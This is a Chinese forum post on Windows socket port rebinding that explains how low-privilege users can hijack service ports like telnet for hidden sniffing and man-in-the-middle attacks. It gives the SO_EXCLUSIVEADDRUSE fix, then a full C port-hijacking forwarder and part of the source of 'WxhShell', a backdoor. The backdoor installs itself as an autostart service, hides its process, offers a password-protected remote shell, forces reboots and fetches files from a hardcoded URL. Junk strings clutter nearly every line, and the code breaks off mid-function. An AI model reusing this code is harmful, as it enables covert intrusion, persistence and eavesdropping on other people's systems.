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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !]t5(g_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =.ReM_.  
f7oJ6'K  
  saddr.sin_family = AF_INET; ],l\HHQ  
 } @4by<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); TWSx9ii!M:  
JbLHW26pl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W>y &  
}5]7lGR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VhLS*YiSY  
)h`8</#m{  
  这意味着什么?意味着可以进行如下的攻击: /<T3^/ '  
s&F& *5W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ';KWHk8C  
84A:Rd'k3)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 't3&,:Y  
[K""6D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K7=> o*p  
G?<uw RV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,j e  
f:KZP;/[c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \t?rHB3"  
h8hyQd$!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <N,:w`g#  
L-1#n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uo-1.[9ds  
eNu]K,rT  
  #include @|EWif|  
  #include sr-tZ^d5S?  
  #include e&-MP;kgW9  
  #include    Fuy"JmeR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $nr=4'y Z  
  int main() vC!B}~RG  
  { ^5rB/y,  
  WORD wVersionRequested; _t?#  
  DWORD ret; "X \Yp_g  
  WSADATA wsaData; AwWo,Y399h  
  BOOL val; |./{,",  
  SOCKADDR_IN saddr; rk &ME#<r  
  SOCKADDR_IN scaddr; V)A7q9Bum  
  int err; Nj=0bg"Qg5  
  SOCKET s; z^u*e  
  SOCKET sc; /B)`pF.n  
  int caddsize; YT}ZLx  
  HANDLE mt; ToM1#]4  
  DWORD tid;   g9@H4y6fe=  
  wVersionRequested = MAKEWORD( 2, 2 ); pch8A0JAl)  
  err = WSAStartup( wVersionRequested, &wsaData ); !p!^[/9"c  
  if ( err != 0 ) { pMd!Jl#(N  
  printf("error!WSAStartup failed!\n"); D-LQQ{!D5  
  return -1; ag6[Nk  
  } H @5dj}  
  saddr.sin_family = AF_INET; vOo-jUKs  
   NK6 ~qWsu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zx7A}rs3oX  
PwU<RKAE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X8y :=k,E  
  saddr.sin_port = htons(23); m2[]`Ir^@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qyzH*#d=Cf  
  { mwO9`AU;  
  printf("error!socket failed!\n"); ujS C  
  return -1; w_#C8}2  
  } ){*9$486  
  val = TRUE; epgAfx-_OH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T'!p{Fbg;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HutQx  
  { 4Q:r83#  
  printf("error!setsockopt failed!\n"); sGG q~7  
  return -1; Cs2kbG_  
  } KzQuLD(e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rlY n"3%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jEn 9T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $bl<mG%#9  
-+[~eqRB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >?[?W|k7V  
  { F0tcVdv  
  ret=GetLastError(); iLQ;`/j  
  printf("error!bind failed!\n"); l~mj>$  
  return -1; Zi{vEI]  
  } U#:N/ts*(  
  listen(s,2); X 4\V4_  
  while(1) >dXB)yl  
  { gO#%*  W  
  caddsize = sizeof(scaddr); XZT|ID_u"  
  //接受连接请求 O Ke 9/._  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JqV}$E"M2  
  if(sc!=INVALID_SOCKET) <[vsGUbc  
  { f`YHZ O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 49= K]X  
  if(mt==NULL) kn+@)3W:*  
  { |E &|6h1  
  printf("Thread Creat Failed!\n"); v%7Gh -P  
  break; W@RD bsc  
  } Z-3("%_$/  
  } d2fiPI7lg  
  CloseHandle(mt); .|0$?w  
  } ^%O$7*  
  closesocket(s); <Ok7 -:OxA  
  WSACleanup(); }U?:al/m  
  return 0; o1thGttVDg  
  }   [9yd29pQ]  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]e$n;tuW  
  { 9<.8mW^68  
  SOCKET ss = (SOCKET)lpParam; Ld 0j!II(  
  SOCKET sc; `4wy *!]  
  unsigned char buf[4096]; 0-p %.}GE  
  SOCKADDR_IN saddr; 5t|$Yt[  
  long num; LI>Bl  
  DWORD val; <?%49  
  DWORD ret; :XOjS[wBm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !LCy:>i!d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A4 /gVi|  
  saddr.sin_family = AF_INET; >:h&5@^ j$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lQxEiDIL  
  saddr.sin_port = htons(23); ra8AUj~RX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,6ae='=d  
  { h-fm)1S_  
  printf("error!socket failed!\n"); }\1V%c  
  return -1; Nz:p(X!  
  } P!gY&>EU  
  val = 100; |@VhR(^O$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $."F z x  
  { #<G:&  
  ret = GetLastError(); ,{_56j^d,  
  return -1; -`$J& YU  
  } !&5|:96o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 89t"2|9 u  
  { /Mj|Px%  
  ret = GetLastError(); 2fXwJG'  
  return -1; 8! /ue.T  
  } Zzmo7kFx3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7!;zkou  
  { V P(JV  
  printf("error!socket connect failed!\n"); 7Kpv fyL{  
  closesocket(sc); 2InM(p7j~K  
  closesocket(ss); u+c2 m  
  return -1; z\YLO%Mm  
  } _#we1m  
  while(1) -s\R2_(  
  { uQKo2B0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QcX&q%*0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wbI1~/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AmJdZs|/  
  num = recv(ss,buf,4096,0); J+wnrGoK  
  if(num>0) ` l %,4qR  
  send(sc,buf,num,0); ?xuWha@:  
  else if(num==0) :w)9 (5  
  break; ;zd.KaS  
  num = recv(sc,buf,4096,0); GC_c.|'6[  
  if(num>0) )~`UDaj_  
  send(ss,buf,num,0); _Ud!tK*H  
  else if(num==0) +pQ3bX  
  break; u95D0S  
  } qpzyl~g:C  
  closesocket(ss); M!X^2  
  closesocket(sc); (EH}lh }%  
  return 0 ; @z:E]O}  
  } L uW""P/  
Ucz=\dO1  
uMRzUK`QK  
========================================================== 40z1Qkmaey  
yCkX+{ki  
下边附上一个代码,,WXhSHELL P6({wx  
7~;)N$d\  
========================================================== xrI9t?QaCb  
d%K{JkD-  
#include "stdafx.h" ca5;Z@t$S  
]f}(i D  
#include <stdio.h> X~/-,oV=A  
#include <string.h> qyh]v[  
#include <windows.h> #o,FVYYj  
#include <winsock2.h> cucT |y  
#include <winsvc.h> PDLps[a  
#include <urlmon.h> jv6>7@<G  
1=e(g#Ajn\  
#pragma comment (lib, "Ws2_32.lib") "'/+}xM"5  
#pragma comment (lib, "urlmon.lib") ;P$ _:-C  
qn'TIE.  
#define MAX_USER   100 // 最大客户端连接数  Sr_hD5!  
#define BUF_SOCK   200 // sock buffer F{_,IQ]U  
#define KEY_BUFF   255 // 输入 buffer 0g; o6Fg  
I!Mkss xc  
#define REBOOT     0   // 重启 ^ > ?C  
#define SHUTDOWN   1   // 关机 ^/#8 "  
h"'}Z^  
#define DEF_PORT   5000 // 监听端口 )1$H 7|  
4n1 g@A=y  
#define REG_LEN     16   // 注册表键长度 L\!Oj5  
#define SVC_LEN     80   // NT服务名长度 `u_k?)lK  
aOQT-C[ O  
// 从dll定义API keStK8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f1?%p)C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wA6E7vi'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -B(p8YH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1QnaZhu'  
):A.A,skf  
// wxhshell配置信息 O[z6W.  
struct WSCFG { }:QoYNq  
  int ws_port;         // 监听端口 N vTp1kI]  
  char ws_passstr[REG_LEN]; // 口令 G:` So  
  int ws_autoins;       // 安装标记, 1=yes 0=no KC%&or  
  char ws_regname[REG_LEN]; // 注册表键名 W|(<z'S  
  char ws_svcname[REG_LEN]; // 服务名 D&pX0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *SlWA)9 Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D-O{/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (cV1Pmn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -Owb@Nw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7Jd&9&O U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J6ed  
t< RPDQ>  
}; Kaaz,C.$^  
A PrrUo  
// default Wxhshell configuration M 9NT%7Il  
struct WSCFG wscfg={DEF_PORT, J)|I/8!#  
    "xuhuanlingzhe", d/awQXKe7  
    1, P0U&+^W"9  
    "Wxhshell", 4ElS_u^cP7  
    "Wxhshell", C~'.3Q6  
            "WxhShell Service", ?^LG>GgV  
    "Wrsky Windows CmdShell Service", d`% 7Pk  
    "Please Input Your Password: ", b! teSf  
  1, .[1@wW&L  
  "http://www.wrsky.com/wxhshell.exe", *P&lAyt6  
  "Wxhshell.exe" g>`D!n::n  
    }; B__e*d:)!m  
.9Dncsnf,`  
// 消息定义模块 5@ Hg 4.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9xE_Awlc85  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D9hq$?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z4zPR?%:  
char *msg_ws_ext="\n\rExit."; :bL^S1et  
char *msg_ws_end="\n\rQuit."; x}=Q)|)]  
char *msg_ws_boot="\n\rReboot..."; WM4,\$  
char *msg_ws_poff="\n\rShutdown..."; B}K<L\S  
char *msg_ws_down="\n\rSave to "; J,s:CBCGL  
FMzG6nrdBN  
char *msg_ws_err="\n\rErr!"; 6&L;Sw#Dg  
char *msg_ws_ok="\n\rOK!"; @\>7 wt_'  
P m&^rC;  
char ExeFile[MAX_PATH]; 5H|7DVG  
int nUser = 0; 6E(..fo:"  
HANDLE handles[MAX_USER]; _c-(T&u<  
int OsIsNt; I1s$\NZ~]  
lhf5[Rp  
SERVICE_STATUS       serviceStatus; #\O'*mz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QIJ/'72  
n</Rd=  
// 函数声明 =}Q|#C  
int Install(void); D 5:'2i  
int Uninstall(void); sM%l:Fv  
int DownloadFile(char *sURL, SOCKET wsh); 8-cuaa  
int Boot(int flag); 2 gca *  
void HideProc(void); :"b:uQ  
int GetOsVer(void); 6\ .LG4@LO  
int Wxhshell(SOCKET wsl); \'|t>|zhp  
void TalkWithClient(void *cs); $Il  
int CmdShell(SOCKET sock); }wI +e Mr  
int StartFromService(void); L>0Pur)[  
int StartWxhshell(LPSTR lpCmdLine); D G&aFmC  
B@ ms Gb C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tCA0H\';  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yf-2E_yB  
(T&(PCw|  
// 数据结构和表定义 s0 Z)BR #  
SERVICE_TABLE_ENTRY DispatchTable[] = P :%b[7  
{ YN7`18u  
{wscfg.ws_svcname, NTServiceMain}, g`tV^b")  
{NULL, NULL} x|()f 3{.  
}; NJ;m&Tm,DF  
#.C2_MN>  
// 自我安装 @xBO[v  
int Install(void) <Q`3;ca^  
{ O`aNNy  
  char svExeFile[MAX_PATH]; \MPbG$ ^  
  HKEY key; 6#\:J0  
  strcpy(svExeFile,ExeFile); u1d%wOY  
3\C+g{}e  
// 如果是win9x系统,修改注册表设为自启动 AS[j)x!  
if(!OsIsNt) { CC3M7|eO3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \+0l#t$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I[w5V;>*  
  RegCloseKey(key); ![J_6 f}!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~k}O"{ y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SUW=-M  
  RegCloseKey(key); A>HCX 4i  
  return 0; 7W5Cm\  
    } }z|9F(I   
  } sYvlf0  
} IS;[oJef  
else { @2-;,VL3  
9`? M-U  
// 如果是NT以上系统,安装为系统服务 ,WM-%2z^4I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PSX o"   
if (schSCManager!=0) nV`W0r(f'  
{ y9=<q%Kc-  
  SC_HANDLE schService = CreateService K8_\U0 K  
  ( _}T )\o   
  schSCManager, |x>5T}  
  wscfg.ws_svcname, ,|,kU0xXz  
  wscfg.ws_svcdisp, ^L8:..+:  
  SERVICE_ALL_ACCESS, `U>2H4P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (v? rZv  
  SERVICE_AUTO_START, B7'yc`)H  
  SERVICE_ERROR_NORMAL, 3preBs#i  
  svExeFile, BMV\@Sg  
  NULL, |sP0z !)b  
  NULL, 6BM$u v4  
  NULL, S1m5z,G  
  NULL, #EB Rc4>,  
  NULL .b^!f<j  
  ); F~bDg tN3  
  if (schService!=0) Kc#1H|'2N  
  { `R-?+76?  
  CloseServiceHandle(schService); U3UA  
  CloseServiceHandle(schSCManager); :Gx5vo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~`B]G  
  strcat(svExeFile,wscfg.ws_svcname); W/CZ/Mc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !@ y/{~Gu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [X8EfU}  
  RegCloseKey(key); #v9+9X`1L  
  return 0; rR#wbDr5  
    } s B^ejH  
  } HS\'{4P  
  CloseServiceHandle(schSCManager); bw+IH-b  
} "pH;0[r]  
} ' ~fP#y  
v\?l+-A? y  
return 1;  3SPXJa\i  
} 6K=}n] n  
r}:U'zlC{  
// 自我卸载 -z se+]O`  
int Uninstall(void) "}H2dn2n  
{ a0Fq$  
  HKEY key; -%{+\x2  
peOoZdJd  
if(!OsIsNt) { 5P 5Tgk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )e6sg]#  
  RegDeleteValue(key,wscfg.ws_regname); *~b~y7C  
  RegCloseKey(key); j#Lj<jX!xR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FP*kA_z$  
  RegDeleteValue(key,wscfg.ws_regname); FT-=^VA\  
  RegCloseKey(key); }n'W0 Sa  
  return 0; t)~$p#NS  
  } 9- 24c  
} 3a=\$x@  
} LX=v _}l J  
else { o=xMaA  
m@0> =s~.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t=s.w(3t  
if (schSCManager!=0) &n0Ag]$P  
{ =Mxu,A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /g!Xe]Ss  
  if (schService!=0) $&Z#2 X.  
  { NVB#=!S  
  if(DeleteService(schService)!=0) { h]&~yuI>  
  CloseServiceHandle(schService); @,]W  
  CloseServiceHandle(schSCManager); I{.t-3hp  
  return 0; HW#@e kh  
  } L 7LUy$M-<  
  CloseServiceHandle(schService); :C,}DyZy  
  } wqJl[~O$  
  CloseServiceHandle(schSCManager); pEX Q  
} F}1._I`-  
} &0J8I Cd=  
E]r<t#  
return 1; KDA2 H>  
} s vS)7]{cU  
{/>uc,8O  
// 从指定url下载文件 >*n4j:  
int DownloadFile(char *sURL, SOCKET wsh) EV-# E  
{ Bqb`WX[<`  
  HRESULT hr; 'R42N3|F  
char seps[]= "/"; zvdIwV&oT  
char *token; , E$f"  
char *file; Q]VG6x  
char myURL[MAX_PATH]; i<=2 L?[.I  
char myFILE[MAX_PATH]; 6KD-nr{S  
z92Xc  
strcpy(myURL,sURL); >!tfvM2X{  
  token=strtok(myURL,seps); I#7H)^us  
  while(token!=NULL) D-x*RRkpp  
  { Ra:UnA  
    file=token; vmo!  
  token=strtok(NULL,seps); [ <k&]Kv  
  } BJ fBY H,M  
B7o US}M  
GetCurrentDirectory(MAX_PATH,myFILE); 2=1qmQE  
strcat(myFILE, "\\"); kqq1;Kd  
strcat(myFILE, file); s ;]"LD@  
  send(wsh,myFILE,strlen(myFILE),0); gi)C5J4  
send(wsh,"...",3,0); OqmW lN.?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,6"[vb#*3  
  if(hr==S_OK) $Q,]2/o6n  
return 0; ;M\Cw.%![  
else 5Kk}sxol  
return 1; L%-ENk  
7;] IlR6  
} M8y|Lm}o  
1(% 6X*z  
// 系统电源模块 Ub4)x  
int Boot(int flag) 8H8Q  
{ \]\h,Y8  
  HANDLE hToken; K2V?[O#  
  TOKEN_PRIVILEGES tkp; t?=V<Yd1  
4\uq$.f-  
  if(OsIsNt) { ~SsfkM"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |t;Ktl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T| R!Aw.  
    tkp.PrivilegeCount = 1; nB5^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g9d/nR X&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q~*|Wd'&  
if(flag==REBOOT) { o? K>ji!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]"j%:fr  
  return 0; */$]kE  
} (Fq]y5  
else { oU*e=uehj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y ._O m}H  
  return 0; -B-HZ_  
} C]ax}P>BQ  
  } M*~XpT3  
  else { #]^M/y h  
if(flag==REBOOT) { f3:dn7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RK)ikLgp  
  return 0; |I|,6*)xg  
} KxfH6:\RB  
else { ft iAty0n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]I;owk,  
  return 0; o_ [I#PT  
} yBv4 xKMH  
} NL!xk cXO  
.v9i|E=<~  
return 1;  BrZ17  
} Q^?$2ck=  
g  b[.Ww  
// win9x进程隐藏模块 \\d8ulu  
void HideProc(void) RtDTcaW/  
{ A-$ C6q   
pF}E`U=Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N~S#( .}[  
  if ( hKernel != NULL ) kY'C'9p  
  { hl DU.k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $d&7q5[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9,"gXsvx(  
    FreeLibrary(hKernel); &[yYgfsp  
  } >gn@NJ2N  
!!Yf>0u#  
return; Q2Uk0:M  
} F>%,}Y~B:  
2<V`  
// 获取操作系统版本 gx C`Ml  
int GetOsVer(void) :z|$K^)7Z  
{ m}6>F0Kv  
  OSVERSIONINFO winfo; :cP u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6QPT  
  GetVersionEx(&winfo); \fYPz }wt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X [?E{[@Z  
  return 1; zNEN[  
  else t!>0^['g4  
  return 0; 8Kn}o@Yd  
} ogya~/  
N2u4MI2  
// 客户端句柄模块 $ylxl"Y  
int Wxhshell(SOCKET wsl) (;HO3Z".q$  
{ 4(,X. GVY/  
  SOCKET wsh; >F/E,U ]  
  struct sockaddr_in client; hWX4 P  
  DWORD myID; gDX\ p>7  
>9<rc[  
  while(nUser<MAX_USER) XqcNFSo)  
{ X-j<fX_  
  int nSize=sizeof(client); M?['HoRo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s(MdjWw  
  if(wsh==INVALID_SOCKET) return 1; ~BBh4t&  
%fh-x(4v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Cth<xn(Q  
if(handles[nUser]==0) LXR>M>a`  
  closesocket(wsh); bF +d_t  
else PK_2  
  nUser++; Y)M-?|4  
  } Ow-;WO_HQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^vOEG;TR<-  
5?E;Yy A  
  return 0; ZCfd<NS?  
} %r:4'$E7|  
KkR.p,/  
// 关闭 socket I7<UC{Ny  
void CloseIt(SOCKET wsh) ;N _ %O  
{ 9HlM0qE5b  
closesocket(wsh); M IUB]  
nUser--; 4@M}5WJ7  
ExitThread(0); B{V(g"dM  
} %XXjQ5p  
v6T<K)S  
// 客户端请求句柄 gf8~Zlq4v  
void TalkWithClient(void *cs) LM!@LQAMY  
{ !VvM  
L|A1bxt  
  SOCKET wsh=(SOCKET)cs; K-@cn*6  
  char pwd[SVC_LEN]; /j\.~=,_  
  char cmd[KEY_BUFF]; ` ^z l =  
char chr[1]; j~hvPlho  
int i,j; ]\3<UL  
hXx:D3h  
  while (nUser < MAX_USER) { a1v?{vu\E  
g{m~TVm'  
if(wscfg.ws_passstr) { \@6V{y'Zo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8BnsYy)j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YsRq.9Mr  
  //ZeroMemory(pwd,KEY_BUFF); /T 4GPi\lg  
      i=0; VB4ir\nF  
  while(i<SVC_LEN) { Ek '% % %  
\6/!{D,  
  // 设置超时 4HGR-S/  
  fd_set FdRead; RRGs:h@;  
  struct timeval TimeOut;  w4UJXc  
  FD_ZERO(&FdRead); !nF.whq  
  FD_SET(wsh,&FdRead); pq]>Ep  
  TimeOut.tv_sec=8; (T.g""N~`  
  TimeOut.tv_usec=0; ^3Z~RK\}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [?)He} _L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X>MDX.Z  
70nBC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M7(]NQ\TQ  
  pwd=chr[0]; Lcs?2c:%  
  if(chr[0]==0xd || chr[0]==0xa) { cvV8 ;  
  pwd=0; d ?,wEfwp  
  break; m khp@^5  
  } ,u.A[{@py  
  i++; !\q'{x5C  
    } B)qcu'>iy  
;]%Syrzp  
  // 如果是非法用户,关闭 socket 4uv*F:eo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 74KR.ABd  
} Dh9C9<Ta:  
s>ZlW:jY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XeAH.i<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rX|{nb  
Ys@\~?ym+  
while(1) { FOuPj+}F  
qK&h$;~*y  
  ZeroMemory(cmd,KEY_BUFF); sTi3x)#xB  
0}$R4<"{Y>  
      // 自动支持客户端 telnet标准   *47%| bf`  
  j=0; +3-f$/po  
  while(j<KEY_BUFF) { FF30 VlJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /I0}(;^y  
  cmd[j]=chr[0]; %nj{eT  
  if(chr[0]==0xa || chr[0]==0xd) { sfCU"O2G  
  cmd[j]=0; ^<Sy{KY  
  break; t\-;n:p-  
  } sTECNY=l  
  j++; EB5 ^eNdL  
    } x<) T,c5Y  
M`|E)Y  
  // 下载文件 lZD"7om  
  if(strstr(cmd,"http://")) { C)ebZ3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -$(2Z[  
  if(DownloadFile(cmd,wsh)) 0C0ld!>r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~*RBMHs  
  else l>@){zxL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j.29nJ  
  } DA/ \[w?J  
  else { Bvz& p)(  
=UZm4=T  
    switch(cmd[0]) { \Jr7Hy1;  
  OJ)XJL  
  // 帮助 Cvtz&dH  
  case '?': { bO+L#Kf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uBo~PiJ2"  
    break; #!]~E@;E  
  } OH vV_  
  // 安装 `xFgYyiQd  
  case 'i': { m2to94yh  
    if(Install()) ??g = `yH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]goPjfWvU"  
    else /Au7X'}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3>k?-%"  
    break; /m+.5Qz9)@  
    } dqw0ns.2  
  // 卸载 mUwGr_)wj  
  case 'r': { X%Ta?(9|.^  
    if(Uninstall()) w;V+)r?w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^e1mK4`  
    else #(r1b'jfP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lC=T{rR  
    break; 8"J6(KS  
    } v c b}Gk  
  // 显示 wxhshell 所在路径 ~> 5  
  case 'p': { AF"XsEt.e  
    char svExeFile[MAX_PATH]; W^1)70<y  
    strcpy(svExeFile,"\n\r"); 8,?*eYNjb  
      strcat(svExeFile,ExeFile); QQX7p!~E  
        send(wsh,svExeFile,strlen(svExeFile),0); {3\{aZ8)  
    break; a O(&<  
    } \.{ZgL5"  
  // 重启 sm;\;MP*yH  
  case 'b': { E>`gj~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rj/y.g  
    if(Boot(REBOOT)) O*hQP*Rs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J"yq)0  
    else { <l^#FH  
    closesocket(wsh); ZNY), 3?  
    ExitThread(0); J8PZVeWx  
    } }wV/)Oy[  
    break; wy# 5p]!u  
    } g42Z*+P6N  
  // 关机 RRR=R]  
  case 'd': { )zvjsx*e=J  
